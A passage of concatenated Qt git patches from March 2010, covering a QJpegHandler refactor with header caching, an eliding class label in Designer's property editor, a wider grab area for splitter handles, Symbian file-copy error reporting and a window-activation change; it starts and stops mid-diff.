QScriptValue scriptButton = eng.newQObject(&button, QScriptEngine::QtOwnership, + QScriptEngine::ExcludeSlots); + scriptButton.setPrototype(scriptPrototypeButton); + + QVERIFY(scriptButton.property("click").isFunction()); + QVERIFY(scriptButton.property("click").strictlyEquals(scriptPrototypeButton.property("click"))); + + QSignalSpy prototypeButtonClickedSpy(&prototypeButton, SIGNAL(clicked())); + QSignalSpy buttonClickedSpy(&button, SIGNAL(clicked())); + scriptButton.property("click").call(scriptButton); + QCOMPARE(buttonClickedSpy.count(), 1); + QCOMPARE(prototypeButtonClickedSpy.count(), 0); +} + QTEST_MAIN(tst_QScriptExtQObject) #include "tst_qscriptextqobject.moc" -- cgit v0.12 From 25214cddf4b52506be07e9897d9b7852d793afc5 Mon Sep 17 00:00:00 2001 From: Zeno Albisser Date: Fri, 19 Mar 2010 17:59:31 +0100 Subject: Optimization in QJpegHandler to reduce overhead Image size and format is only calculated once on first call of readJpegHeader. Further private data has been extracted into QJpegHandlerPrivate. Unfotunately this change only has very little effect. Reviewed-by: aavit Task-number: QTBUG-9091 --- src/plugins/imageformats/jpeg/qjpeghandler.cpp | 396 +++++++++++++------------ src/plugins/imageformats/jpeg/qjpeghandler.h | 7 +- 2 files changed, 215 insertions(+), 188 deletions(-) diff --git a/src/plugins/imageformats/jpeg/qjpeghandler.cpp b/src/plugins/imageformats/jpeg/qjpeghandler.cpp index abe3ffe..93b7cc6 100644 --- a/src/plugins/imageformats/jpeg/qjpeghandler.cpp +++ b/src/plugins/imageformats/jpeg/qjpeghandler.cpp @@ -183,82 +183,34 @@ inline my_jpeg_source_mgr::my_jpeg_source_mgr(QIODevice *device) } -static bool read_jpeg_size(QIODevice *device, int &w, int &h) +inline static bool read_jpeg_size(int &w, int &h, j_decompress_ptr cinfo) { - bool rt = false; - struct jpeg_decompress_struct cinfo; + (void) jpeg_calc_output_dimensions(cinfo); - struct my_jpeg_source_mgr *iod_src = new my_jpeg_source_mgr(device); - struct my_error_mgr jerr; - - jpeg_create_decompress(&cinfo); - - cinfo.src = iod_src; - - cinfo.err = jpeg_std_error(&jerr); - jerr.error_exit = my_error_exit; - - if (!setjmp(jerr.setjmp_buffer)) { -#if defined(Q_OS_UNIXWARE) - (void) jpeg_read_header(&cinfo, B_TRUE); -#else - (void) jpeg_read_header(&cinfo, true); -#endif - (void) jpeg_calc_output_dimensions(&cinfo); - - w = cinfo.output_width; - h = cinfo.output_height; - rt = true; - } - jpeg_destroy_decompress(&cinfo); - delete iod_src; - return rt; + w = cinfo->output_width; + h = cinfo->output_height; + return true; } #define HIGH_QUALITY_THRESHOLD 50 -static bool read_jpeg_format(QIODevice *device, QImage::Format &format) +inline static bool read_jpeg_format(QImage::Format &format, j_decompress_ptr cinfo) { - bool result = false; - struct jpeg_decompress_struct cinfo; - - struct my_jpeg_source_mgr *iod_src = new my_jpeg_source_mgr(device); - struct my_error_mgr jerr; - - jpeg_create_decompress(&cinfo); - - cinfo.src = iod_src; - - cinfo.err = jpeg_std_error(&jerr); - jerr.error_exit = my_error_exit; - if (!setjmp(jerr.setjmp_buffer)) { -#if defined(Q_OS_UNIXWARE) - (void) jpeg_read_header(&cinfo, B_TRUE); -#else - (void) jpeg_read_header(&cinfo, true); -#endif - // This does not allocate memory for the whole image - // or such, so we are safe. - (void) jpeg_start_decompress(&cinfo); - result = true; - switch (cinfo.output_components) { - case 1: - format = QImage::Format_Indexed8; - break; - case 3: - case 4: - format = QImage::Format_RGB32; - break; - default: - result = false; - break; - } - cinfo.output_scanline = cinfo.output_height; - (void) jpeg_finish_decompress(&cinfo); + bool result = true; + switch (cinfo->output_components) { + case 1: + format = QImage::Format_Indexed8; + break; + case 3: + case 4: + format = QImage::Format_RGB32; + break; + default: + result = false; + break; } - jpeg_destroy_decompress(&cinfo); - delete iod_src; + cinfo->output_scanline = cinfo->output_height; return result; } @@ -291,29 +243,11 @@ static bool ensureValidImage(QImage *dest, struct jpeg_decompress_struct *info, return !dest->isNull(); } -static bool read_jpeg_image(QIODevice *device, QImage *outImage, +static bool read_jpeg_image(QImage *outImage, QSize scaledSize, QRect scaledClipRect, - QRect clipRect, int inQuality ) + QRect clipRect, int inQuality, j_decompress_ptr info, struct my_error_mgr* err ) { - struct jpeg_decompress_struct cinfo; - - struct my_jpeg_source_mgr *iod_src = new my_jpeg_source_mgr(device); - struct my_error_mgr jerr; - - jpeg_create_decompress(&cinfo); - - cinfo.src = iod_src; - - cinfo.err = jpeg_std_error(&jerr); - jerr.error_exit = my_error_exit; - - if (!setjmp(jerr.setjmp_buffer)) { -#if defined(Q_OS_UNIXWARE) - (void) jpeg_read_header(&cinfo, B_TRUE); -#else - (void) jpeg_read_header(&cinfo, true); -#endif - + if (!setjmp(err->setjmp_buffer)) { // -1 means default quality. int quality = inQuality; if (quality < 0) @@ -335,16 +269,16 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, } else if (clipRect.isEmpty()) { // No clipping, but scaling: if we can map back to an // integer pixel boundary, then clip before scaling. - if ((cinfo.image_width % scaledSize.width()) == 0 && - (cinfo.image_height % scaledSize.height()) == 0) { - int x = scaledClipRect.x() * cinfo.image_width / + if ((info->image_width % scaledSize.width()) == 0 && + (info->image_height % scaledSize.height()) == 0) { + int x = scaledClipRect.x() * info->image_width / scaledSize.width(); - int y = scaledClipRect.y() * cinfo.image_height / + int y = scaledClipRect.y() * info->image_height / scaledSize.height(); int width = (scaledClipRect.right() + 1) * - cinfo.image_width / scaledSize.width() - x; + info->image_width / scaledSize.width() - x; int height = (scaledClipRect.bottom() + 1) * - cinfo.image_height / scaledSize.height() - y; + info->image_height / scaledSize.height() - y; clipRect = QRect(x, y, width, height); scaledSize = scaledClipRect.size(); scaledClipRect = QRect(); @@ -358,69 +292,69 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, // Determine the scale factor to pass to libjpeg for quick downscaling. if (!scaledSize.isEmpty()) { if (clipRect.isEmpty()) { - cinfo.scale_denom = - qMin(cinfo.image_width / scaledSize.width(), - cinfo.image_height / scaledSize.height()); + info->scale_denom = + qMin(info->image_width / scaledSize.width(), + info->image_height / scaledSize.height()); } else { - cinfo.scale_denom = + info->scale_denom = qMin(clipRect.width() / scaledSize.width(), clipRect.height() / scaledSize.height()); } - if (cinfo.scale_denom < 2) { - cinfo.scale_denom = 1; - } else if (cinfo.scale_denom < 4) { - cinfo.scale_denom = 2; - } else if (cinfo.scale_denom < 8) { - cinfo.scale_denom = 4; + if (info->scale_denom < 2) { + info->scale_denom = 1; + } else if (info->scale_denom < 4) { + info->scale_denom = 2; + } else if (info->scale_denom < 8) { + info->scale_denom = 4; } else { - cinfo.scale_denom = 8; + info->scale_denom = 8; } - cinfo.scale_num = 1; + info->scale_num = 1; if (!clipRect.isEmpty()) { // Correct the scale factor so that we clip accurately. // It is recommended that the clip rectangle be aligned // on an 8-pixel boundary for best performance. - while (cinfo.scale_denom > 1 && - ((clipRect.x() % cinfo.scale_denom) != 0 || - (clipRect.y() % cinfo.scale_denom) != 0 || - (clipRect.width() % cinfo.scale_denom) != 0 || - (clipRect.height() % cinfo.scale_denom) != 0)) { - cinfo.scale_denom /= 2; + while (info->scale_denom > 1 && + ((clipRect.x() % info->scale_denom) != 0 || + (clipRect.y() % info->scale_denom) != 0 || + (clipRect.width() % info->scale_denom) != 0 || + (clipRect.height() % info->scale_denom) != 0)) { + info->scale_denom /= 2; } } } // If high quality not required, use fast decompression if( quality < HIGH_QUALITY_THRESHOLD ) { - cinfo.dct_method = JDCT_IFAST; - cinfo.do_fancy_upsampling = FALSE; + info->dct_method = JDCT_IFAST; + info->do_fancy_upsampling = FALSE; } - (void) jpeg_calc_output_dimensions(&cinfo); + (void) jpeg_calc_output_dimensions(info); // Determine the clip region to extract. - QRect imageRect(0, 0, cinfo.output_width, cinfo.output_height); + QRect imageRect(0, 0, info->output_width, info->output_height); QRect clip; if (clipRect.isEmpty()) { clip = imageRect; - } else if (cinfo.scale_denom == cinfo.scale_num) { + } else if (info->scale_denom == info->scale_num) { clip = clipRect.intersected(imageRect); } else { // The scale factor was corrected above to ensure that // we don't miss pixels when we scale the clip rectangle. - clip = QRect(clipRect.x() / int(cinfo.scale_denom), - clipRect.y() / int(cinfo.scale_denom), - clipRect.width() / int(cinfo.scale_denom), - clipRect.height() / int(cinfo.scale_denom)); + clip = QRect(clipRect.x() / int(info->scale_denom), + clipRect.y() / int(info->scale_denom), + clipRect.width() / int(info->scale_denom), + clipRect.height() / int(info->scale_denom)); clip = clip.intersected(imageRect); } // Allocate memory for the clipped QImage. - if (!ensureValidImage(outImage, &cinfo, clip.size())) - longjmp(jerr.setjmp_buffer, 1); + if (!ensureValidImage(outImage, info, clip.size())) + longjmp(err->setjmp_buffer, 1); // Avoid memcpy() overhead if grayscale with no clipping. - bool quickGray = (cinfo.output_components == 1 && + bool quickGray = (info->output_components == 1 && clip == imageRect); if (!quickGray) { // Ask the jpeg library to allocate a temporary row. @@ -429,23 +363,23 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, // jpeg_start_decompress(). We can't use "new" here // because we are inside the setjmp() block and an error // in the jpeg input stream would cause a memory leak. - JSAMPARRAY rows = (cinfo.mem->alloc_sarray) - ((j_common_ptr)&cinfo, JPOOL_IMAGE, - cinfo.output_width * cinfo.output_components, 1); + JSAMPARRAY rows = (info->mem->alloc_sarray) + ((j_common_ptr)info, JPOOL_IMAGE, + info->output_width * info->output_components, 1); - (void) jpeg_start_decompress(&cinfo); + (void) jpeg_start_decompress(info); - while (cinfo.output_scanline < cinfo.output_height) { - int y = int(cinfo.output_scanline) - clip.y(); + while (info->output_scanline < info->output_height) { + int y = int(info->output_scanline) - clip.y(); if (y >= clip.height()) break; // We've read the entire clip region, so abort. - (void) jpeg_read_scanlines(&cinfo, rows, 1); + (void) jpeg_read_scanlines(info, rows, 1); if (y < 0) continue; // Haven't reached the starting line yet. - if (cinfo.output_components == 3) { + if (info->output_components == 3) { // Expand 24->32 bpp. uchar *in = rows[0] + clip.x() * 3; QRgb *out = (QRgb*)outImage->scanLine(y); @@ -453,7 +387,7 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, *out++ = qRgb(in[0], in[1], in[2]); in += 3; } - } else if (cinfo.out_color_space == JCS_CMYK) { + } else if (info->out_color_space == JCS_CMYK) { // Convert CMYK->RGB. uchar *in = rows[0] + clip.x() * 4; QRgb *out = (QRgb*)outImage->scanLine(y); @@ -463,7 +397,7 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, k * in[2] / 255); in += 4; } - } else if (cinfo.output_components == 1) { + } else if (info->output_components == 1) { // Grayscale. memcpy(outImage->scanLine(y), rows[0] + clip.x(), clip.width()); @@ -471,37 +405,36 @@ static bool read_jpeg_image(QIODevice *device, QImage *outImage, } } else { // Load unclipped grayscale data directly into the QImage. - (void) jpeg_start_decompress(&cinfo); - while (cinfo.output_scanline < cinfo.output_height) { - uchar *row = outImage->scanLine(cinfo.output_scanline); - (void) jpeg_read_scanlines(&cinfo, &row, 1); + (void) jpeg_start_decompress(info); + while (info->output_scanline < info->output_height) { + uchar *row = outImage->scanLine(info->output_scanline); + (void) jpeg_read_scanlines(info, &row, 1); } } - if (cinfo.output_scanline == cinfo.output_height) - (void) jpeg_finish_decompress(&cinfo); + if (info->output_scanline == info->output_height) + (void) jpeg_finish_decompress(info); - if (cinfo.density_unit == 1) { - outImage->setDotsPerMeterX(int(100. * cinfo.X_density / 2.54)); - outImage->setDotsPerMeterY(int(100. * cinfo.Y_density / 2.54)); - } else if (cinfo.density_unit == 2) { - outImage->setDotsPerMeterX(int(100. * cinfo.X_density)); - outImage->setDotsPerMeterY(int(100. * cinfo.Y_density)); + if (info->density_unit == 1) { + outImage->setDotsPerMeterX(int(100. * info->X_density / 2.54)); + outImage->setDotsPerMeterY(int(100. * info->Y_density / 2.54)); + } else if (info->density_unit == 2) { + outImage->setDotsPerMeterX(int(100. * info->X_density)); + outImage->setDotsPerMeterY(int(100. * info->Y_density)); } if (scaledSize.isValid() && scaledSize != clip.size()) { *outImage = outImage->scaled(scaledSize, Qt::IgnoreAspectRatio, quality >= HIGH_QUALITY_THRESHOLD ? Qt::SmoothTransformation : Qt::FastTransformation); } - } - jpeg_destroy_decompress(&cinfo); - delete iod_src; - if (!scaledClipRect.isEmpty()) - *outImage = outImage->copy(scaledClipRect); - return !outImage->isNull(); + if (!scaledClipRect.isEmpty()) + *outImage = outImage->copy(scaledClipRect); + return !outImage->isNull(); + } + else + return false; } - struct my_jpeg_destination_mgr : public jpeg_destination_mgr { // Nothing dynamic - cannot rely on destruction over longjump QIODevice *device; @@ -745,18 +678,124 @@ static bool write_jpeg_image(const QImage &sourceImage, QIODevice *device, int s return success; } +class QJpegHandlerPrivate +{ +public: + enum State { + Ready, + ReadHeader, + Error + }; + + QJpegHandlerPrivate(QJpegHandler *qq) + : quality(75), iod_src(0), state(Ready), q(qq) + {} + + ~QJpegHandlerPrivate() + { + if(iod_src) + { + jpeg_destroy_decompress(&info); + delete iod_src; + iod_src = 0; + } + } + + bool readJpegHeader(QIODevice*); + bool read(QImage *image); + + int quality; + QVariant size; + QImage::Format format; + QSize scaledSize; + QRect scaledClipRect; + QRect clipRect; + struct jpeg_decompress_struct info; + struct my_jpeg_source_mgr * iod_src; + struct my_error_mgr err; + + State state; + + QJpegHandler *q; +}; + +/*! + \internal +*/ +bool QJpegHandlerPrivate::readJpegHeader(QIODevice *device) +{ + if(state == Ready) + { + state = Error; + iod_src = new my_jpeg_source_mgr(device); + + jpeg_create_decompress(&info); + info.src = iod_src; + info.err = jpeg_std_error(&err); + err.error_exit = my_error_exit; + + if (!setjmp(err.setjmp_buffer)) { + #if defined(Q_OS_UNIXWARE) + (void) jpeg_read_header(&info, B_TRUE); + #else + (void) jpeg_read_header(&info, true); + #endif + + int width = 0; + int height = 0; + read_jpeg_size(width, height, &info); + size = QSize(width, height); + + format = QImage::Format_Invalid; + read_jpeg_format(format, &info); + state = ReadHeader; + return true; + } + else + { + return false; + } + } + else if(state == Error) + return false; + return true; +} + +bool QJpegHandlerPrivate::read(QImage *image) +{ + if(state == Ready) + readJpegHeader(q->device()); + + if(state == ReadHeader) + { + bool success = read_jpeg_image(image, scaledSize, scaledClipRect, clipRect, quality, &info, &err); + state = success ? Ready : Error; + return success; + } + + return false; + +} + QJpegHandler::QJpegHandler() + : d(new QJpegHandlerPrivate(this)) +{ +} + +QJpegHandler::~QJpegHandler() { - quality = 75; + delete d; } bool QJpegHandler::canRead() const { - if (canRead(device())) { + if(d->state == QJpegHandlerPrivate::Ready) { + if (!canRead(device())) + return false; setFormat("jpeg"); return true; } - return false; + return d->state != QJpegHandlerPrivate::Error; } bool QJpegHandler::canRead(QIODevice *device) @@ -769,7 +808,6 @@ bool QJpegHandler::canRead(QIODevice *device) char buffer[2]; if (device->peek(buffer, 2) != 2) return false; - return uchar(buffer[0]) == 0xff && uchar(buffer[1]) == 0xd8; } @@ -777,12 +815,12 @@ bool QJpegHandler::read(QImage *image) { if (!canRead()) return false; - return read_jpeg_image(device(), image, scaledSize, scaledClipRect, clipRect, quality); + return d->read(image); } bool QJpegHandler::write(const QImage &image) { - return write_jpeg_image(image, device(), quality); + return write_jpeg_image(image, device(), d->quality); } bool QJpegHandler::supportsOption(ImageOption option) const @@ -799,32 +837,19 @@ QVariant QJpegHandler::option(ImageOption option) const { switch(option) { case Quality: - return quality; + return d->quality; case ScaledSize: - return scaledSize; + return d->scaledSize; case ScaledClipRect: - return scaledClipRect; + return d->scaledClipRect; case ClipRect: - return clipRect; + return d->clipRect; case Size: - if (canRead() && !device()->isSequential()) { - qint64 pos = device()->pos(); - int width = 0; - int height = 0; - read_jpeg_size(device(), width, height); - device()->seek(pos); - return QSize(width, height); - } - return QVariant(); + d->readJpegHeader(device()); + return d->size; case ImageFormat: - if (canRead() && !device()->isSequential()) { - qint64 pos = device()->pos(); - QImage::Format format = QImage::Format_Invalid; - read_jpeg_format(device(), format); - device()->seek(pos); - return format; - } - return QImage::Format_Invalid; + d->readJpegHeader(device()); + return d->format; default: return QVariant(); } @@ -834,16 +859,16 @@ void QJpegHandler::setOption(ImageOption option, const QVariant &value) { switch(option) { case Quality: - quality = value.toInt(); + d->quality = value.toInt(); break; case ScaledSize: - scaledSize = value.toSize(); + d->scaledSize = value.toSize(); break; case ScaledClipRect: - scaledClipRect = value.toRect(); + d->scaledClipRect = value.toRect(); break; case ClipRect: - clipRect = value.toRect(); + d->clipRect = value.toRect(); break; default: break; @@ -855,4 +880,7 @@ QByteArray QJpegHandler::name() const return "jpeg"; } + + + QT_END_NAMESPACE diff --git a/src/plugins/imageformats/jpeg/qjpeghandler.h b/src/plugins/imageformats/jpeg/qjpeghandler.h index dfb6b47..c879f21 100644 --- a/src/plugins/imageformats/jpeg/qjpeghandler.h +++ b/src/plugins/imageformats/jpeg/qjpeghandler.h @@ -48,10 +48,12 @@ QT_BEGIN_NAMESPACE +class QJpegHandlerPrivate; class QJpegHandler : public QImageIOHandler { public: QJpegHandler(); + ~QJpegHandler(); bool canRead() const; bool read(QImage *image); @@ -66,10 +68,7 @@ public: bool supportsOption(ImageOption option) const; private: - int quality; - QSize scaledSize; - QRect scaledClipRect; - QRect clipRect; + QJpegHandlerPrivate *d; }; QT_END_NAMESPACE -- cgit v0.12 From 2a350684c60fd0225234e77d0a01b01471bc9ea8 Mon Sep 17 00:00:00 2001 From: Jens Bache-Wiig Date: Mon, 22 Mar 2010 11:03:42 +0100 Subject: Redesigned object and class labels for the Designer propertyeditor We modified the label so that it gets its own row instead of squeezing it into the tool bar. This layout would usually not have room for more than short labels and looked rather unprofessional when used in Creator. The new label is properly elided. We also added a frame to distinguish it from the dock widget label. Reviewed-by: Friedemann Kleint --- .../components/propertyeditor/propertyeditor.cpp | 67 +++++++++++++++++++--- .../src/components/propertyeditor/propertyeditor.h | 5 +- 2 files changed, 60 insertions(+), 12 deletions(-) diff --git a/tools/designer/src/components/propertyeditor/propertyeditor.cpp b/tools/designer/src/components/propertyeditor/propertyeditor.cpp index 512cc82..86d7bdf 100644 --- a/tools/designer/src/components/propertyeditor/propertyeditor.cpp +++ b/tools/designer/src/components/propertyeditor/propertyeditor.cpp @@ -79,6 +79,7 @@ #include #include #include +#include #include #include @@ -98,6 +99,53 @@ QT_BEGIN_NAMESPACE // --------------------------------------------------------------------------------- namespace qdesigner_internal { + +// ----------- ElidingLabel +// QLabel does not support text eliding so we need a helper class + +class ElidingLabel : public QWidget +{ +public: + ElidingLabel(const QString &text = QString(), QWidget *parent = 0) + : QWidget(parent), + m_text(text), + m_mode(Qt::ElideRight) { + setContentsMargins(3, 2, 3, 2); + } + QSize sizeHint() const; + void paintEvent(QPaintEvent *e); + void setText(const QString &text) { + m_text = text; + updateGeometry(); + } + void setElidemode(Qt::TextElideMode mode) { + m_mode = mode; + updateGeometry(); + } +private: + QString m_text; + Qt::TextElideMode m_mode; +}; + +QSize ElidingLabel::sizeHint() const +{ + QSize size = fontMetrics().boundingRect(m_text).size(); + size += QSize(contentsMargins().left() + contentsMargins().right(), + contentsMargins().top() + contentsMargins().bottom()); + return size; +} + +void ElidingLabel::paintEvent(QPaintEvent *e) { + QPainter painter(this); + painter.setPen(QColor(0, 0, 0, 60)); + painter.setBrush(QColor(255, 255, 255, 40)); + painter.drawRect(rect().adjusted(0, 0, -1, -1)); + painter.setPen(palette().windowText().color()); + painter.drawText(contentsRect(), Qt::AlignLeft, + fontMetrics().elidedText(m_text, Qt::ElideRight, width(), 0)); +} + + // ----------- PropertyEditor::Strings PropertyEditor::Strings::Strings() : @@ -186,7 +234,7 @@ PropertyEditor::PropertyEditor(QDesignerFormEditorInterface *core, QWidget *pare m_coloringAction(new QAction(createIconSet(QLatin1String("color.png")), tr("Color Groups"), this)), m_treeAction(new QAction(tr("Tree View"), this)), m_buttonAction(new QAction(tr("Drop Down Button View"), this)), - m_classLabel(new QLabel), + m_classLabel(new ElidingLabel), m_sorting(false), m_coloring(false), m_brightness(false) @@ -223,11 +271,6 @@ PropertyEditor::PropertyEditor(QDesignerFormEditorInterface *core, QWidget *pare actionGroup->addAction(m_buttonAction); connect(actionGroup, SIGNAL(triggered(QAction*)), this, SLOT(slotViewTriggered(QAction*))); - QWidget *classWidget = new QWidget; - QHBoxLayout *l = new QHBoxLayout(classWidget); - l->setContentsMargins(5, 0, 5, 0); - l->addWidget(m_classLabel); - // Add actions QActionGroup *addDynamicActionGroup = new QActionGroup(this); connect(addDynamicActionGroup, SIGNAL(triggered(QAction*)), this, SLOT(slotAddDynamicProperty(QAction*))); @@ -269,7 +312,6 @@ PropertyEditor::PropertyEditor(QDesignerFormEditorInterface *core, QWidget *pare #endif // Assemble toolbar QToolBar *toolBar = new QToolBar; - toolBar->addWidget(classWidget); toolBar->addWidget(m_filterWidget); toolBar->addWidget(createDropDownButton(m_addDynamicAction)); toolBar->addAction(m_removeDynamicAction); @@ -292,6 +334,8 @@ PropertyEditor::PropertyEditor(QDesignerFormEditorInterface *core, QWidget *pare QVBoxLayout *layout = new QVBoxLayout(this); layout->addWidget(toolBar); + layout->addWidget(m_classLabel); + layout->addSpacerItem(new QSpacerItem(0,1)); layout->addWidget(m_stackedWidget); layout->setMargin(0); layout->setSpacing(0); @@ -778,9 +822,14 @@ void PropertyEditor::updateToolBarLabel() className = realClassName(m_object); } - QString classLabelText = objectName; - classLabelText += QLatin1Char('\n'); + m_classLabel->setVisible(!objectName.isEmpty() || !className.isEmpty()); + m_classLabel->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Fixed); + + QString classLabelText; + if (!objectName.isEmpty()) + classLabelText += objectName + QLatin1String(" : "); classLabelText += className; + m_classLabel->setText(classLabelText); m_classLabel->setToolTip(tr("Object: %1\nClass: %2").arg(objectName).arg(className)); } diff --git a/tools/designer/src/components/propertyeditor/propertyeditor.h b/tools/designer/src/components/propertyeditor/propertyeditor.h index 5869c94..f0ea94f 100644 --- a/tools/designer/src/components/propertyeditor/propertyeditor.h +++ b/tools/designer/src/components/propertyeditor/propertyeditor.h @@ -62,9 +62,7 @@ class QtTreePropertyBrowser; class QtProperty; class QtVariantProperty; class QtBrowserItem; - class QStackedWidget; -class QLabel; namespace qdesigner_internal { @@ -72,6 +70,7 @@ class StringProperty; class DesignerPropertyManager; class DesignerEditorFactory; class FilterWidget; +class ElidingLabel; class QT_PROPERTYEDITOR_EXPORT PropertyEditor: public QDesignerPropertyEditor { @@ -186,7 +185,7 @@ private: QAction *m_coloringAction; QAction *m_treeAction; QAction *m_buttonAction; - QLabel *m_classLabel; + ElidingLabel *m_classLabel; bool m_sorting; bool m_coloring; -- cgit v0.12 From 71ced8e9d2a8cc363a6e8a039e9431ecf8cf9a01 Mon Sep 17 00:00:00 2001 From: Jens Bache-Wiig Date: Wed, 24 Mar 2010 15:23:22 +0100 Subject: Give 1-pixel splitters a larger grab area This is a trick we have applied to Qt Creator for a while and it makes sense to backport this into Qt. Essentially 1-pixel splitters are unusable at the moment. With this fix the actual splitter handle will be 5 pixels wide and slightly overlap neighbouring widgets. The layout code in QSplitter alreadu use the contentsRect to support this behavior. Task-number: QTBUG-9335 Reviewed-by: thierry --- src/gui/widgets/qsplitter.cpp | 32 +++++++++++++++++++++++++++++++- src/gui/widgets/qsplitter.h | 1 + 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/src/gui/widgets/qsplitter.cpp b/src/gui/widgets/qsplitter.cpp index 597b28b..88b7517 100644 --- a/src/gui/widgets/qsplitter.cpp +++ b/src/gui/widgets/qsplitter.cpp @@ -227,6 +227,33 @@ QSize QSplitterHandle::sizeHint() const /*! \reimp */ +void QSplitterHandle::resizeEvent(QResizeEvent *event) +{ + Q_D(const QSplitterHandle); + + // When splitters are only 1 pixel large we increase the + // actual grab area to five pixels + + // Note that QSplitter uses contentsRect for layouting + // and ensures that handles are drawn on top of widgets + // We simply use the contents margins for draggin and only + // paint the mask area + bool useTinyMode = (d->s->handleWidth() == 1); + setAttribute(Qt::WA_MouseNoMask, useTinyMode); + if (useTinyMode) { + if (orientation() == Qt::Horizontal) + setContentsMargins(2, 0, 2, 0); + else + setContentsMargins(0, 2, 0, 2); + setMask(QRegion(contentsRect())); + } + + QWidget::resizeEvent(event); +} + +/*! + \reimp +*/ bool QSplitterHandle::event(QEvent *event) { Q_D(QSplitterHandle); @@ -301,7 +328,7 @@ void QSplitterHandle::paintEvent(QPaintEvent *) Q_D(QSplitterHandle); QPainter p(this); QStyleOption opt(0); - opt.rect = rect(); + opt.rect = contentsRect(); opt.palette = palette(); if (orientation() == Qt::Horizontal) opt.state = QStyle::State_Horizontal; @@ -1662,6 +1689,9 @@ void QSplitter::setSizes(const QList &list) By default, this property contains a value that depends on the user's platform and style preferences. + + If you set handleWidth to 1, the actual grab area will grow to overlap a + few pixels of it's respective widgets. */ int QSplitter::handleWidth() const diff --git a/src/gui/widgets/qsplitter.h b/src/gui/widgets/qsplitter.h index a793f24..c3b304d 100644 --- a/src/gui/widgets/qsplitter.h +++ b/src/gui/widgets/qsplitter.h @@ -172,6 +172,7 @@ protected: void mouseMoveEvent(QMouseEvent *); void mousePressEvent(QMouseEvent *); void mouseReleaseEvent(QMouseEvent *); + void resizeEvent(QResizeEvent *); bool event(QEvent *); void moveSplitter(int p); -- cgit v0.12 From 4fa9387f6cbba798fcd262f970d87a01e66267f5 Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Wed, 24 Mar 2010 14:00:39 +0000 Subject: Fix error reporting when symbian file copy fails. When a file copy failed on symbian, the file engine error was not set. Now translates the symbian os error code to set the file engine error. Reviewed-by: Marius Storm-Olsen --- src/corelib/io/qfsfileengine_p.h | 4 ++++ src/corelib/io/qfsfileengine_unix.cpp | 40 +++++++++++++++++++++++++++++++++-- 2 files changed, 42 insertions(+), 2 deletions(-) diff --git a/src/corelib/io/qfsfileengine_p.h b/src/corelib/io/qfsfileengine_p.h index 0f63eb8..e50777b 100644 --- a/src/corelib/io/qfsfileengine_p.h +++ b/src/corelib/io/qfsfileengine_p.h @@ -151,6 +151,10 @@ public: static bool uncListSharesOnServer(const QString &server, QStringList *list); #endif +#ifdef Q_OS_SYMBIAN + void setSymbianError(int symbianError, QFile::FileError defaultError, QString defaultString); +#endif + protected: QFSFileEnginePrivate(); diff --git a/src/corelib/io/qfsfileengine_unix.cpp b/src/corelib/io/qfsfileengine_unix.cpp index 1331f54..33e00f6 100644 --- a/src/corelib/io/qfsfileengine_unix.cpp +++ b/src/corelib/io/qfsfileengine_unix.cpp @@ -81,6 +81,40 @@ static bool isRelativePathSymbian(const QString& fileName) && ((fileName.at(0).isLetter() && fileName.at(1) == QLatin1Char(':')) || (fileName.at(0) == QLatin1Char('/') && fileName.at(1) == QLatin1Char('/'))))); } + +/*! + \internal + convert symbian error code to the one suitable for setError. + example usage: setSymbianError(err, QFile::CopyError, QLatin1String("copy error")) +*/ +void QFSFileEnginePrivate::setSymbianError(int symbianError, QFile::FileError defaultError, QString defaultString) +{ + Q_Q(QFSFileEngine); + switch (symbianError) { + case KErrNone: + q->setError(QFile::NoError, QLatin1String("")); + break; + case KErrAccessDenied: + q->setError(QFile::PermissionsError, QLatin1String("access denied")); + break; + case KErrPermissionDenied: + q->setError(QFile::PermissionsError, QLatin1String("permission denied")); + break; + case KErrAbort: + q->setError(QFile::AbortError, QLatin1String("aborted")); + break; + case KErrCancel: + q->setError(QFile::AbortError, QLatin1String("cancelled")); + break; + case KErrTimedOut: + q->setError(QFile::TimeOutError, QLatin1String("timed out")); + break; + default: + q->setError(defaultError, defaultString); + break; + } +} + #endif /*! @@ -427,8 +461,10 @@ bool QFSFileEngine::copy(const QString &newName) } ) // End TRAP delete fm; - // ### Add error reporting on failure - return (err == KErrNone); + if (err == KErrNone) + return true; + d->setSymbianError(err, QFile::CopyError, QLatin1String("copy error")); + return false; #else Q_UNUSED(newName); // ### Add copy code for Unix here -- cgit v0.12 From 661bcc601502125ca29930394daf90682f454612 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 24 Mar 2010 13:20:19 +0100 Subject: Revert "Revert "Make QWidget::activateWindow() NET window manager aware."" This reverts commit 555175f9d9e5633b8fcfd6e6f6a11c84faa9946e. --- src/gui/kernel/qapplication_x11.cpp | 2 ++ src/gui/kernel/qt_x11_p.h | 2 ++ src/gui/kernel/qwidget_x11.cpp | 22 +++++++++++++++++++++- 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index ea44173..67e0865 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -275,6 +275,8 @@ static const char * x11_atomnames = { "_NET_SYSTEM_TRAY_VISUAL\0" + "_NET_ACTIVE_WINDOW\0" + // Property formats "COMPOUND_TEXT\0" "TEXT\0" diff --git a/src/gui/kernel/qt_x11_p.h b/src/gui/kernel/qt_x11_p.h index e1b2625..7383382 100644 --- a/src/gui/kernel/qt_x11_p.h +++ b/src/gui/kernel/qt_x11_p.h @@ -632,6 +632,8 @@ struct QX11Data _NET_SYSTEM_TRAY_VISUAL, + _NET_ACTIVE_WINDOW, + // Property formats COMPOUND_TEXT, TEXT, diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 2266379..c1363d2 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1641,7 +1641,27 @@ void QWidget::activateWindow() if (X11->userTime == 0) X11->userTime = X11->time; qt_net_update_user_time(tlw, X11->userTime); - XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); + + if 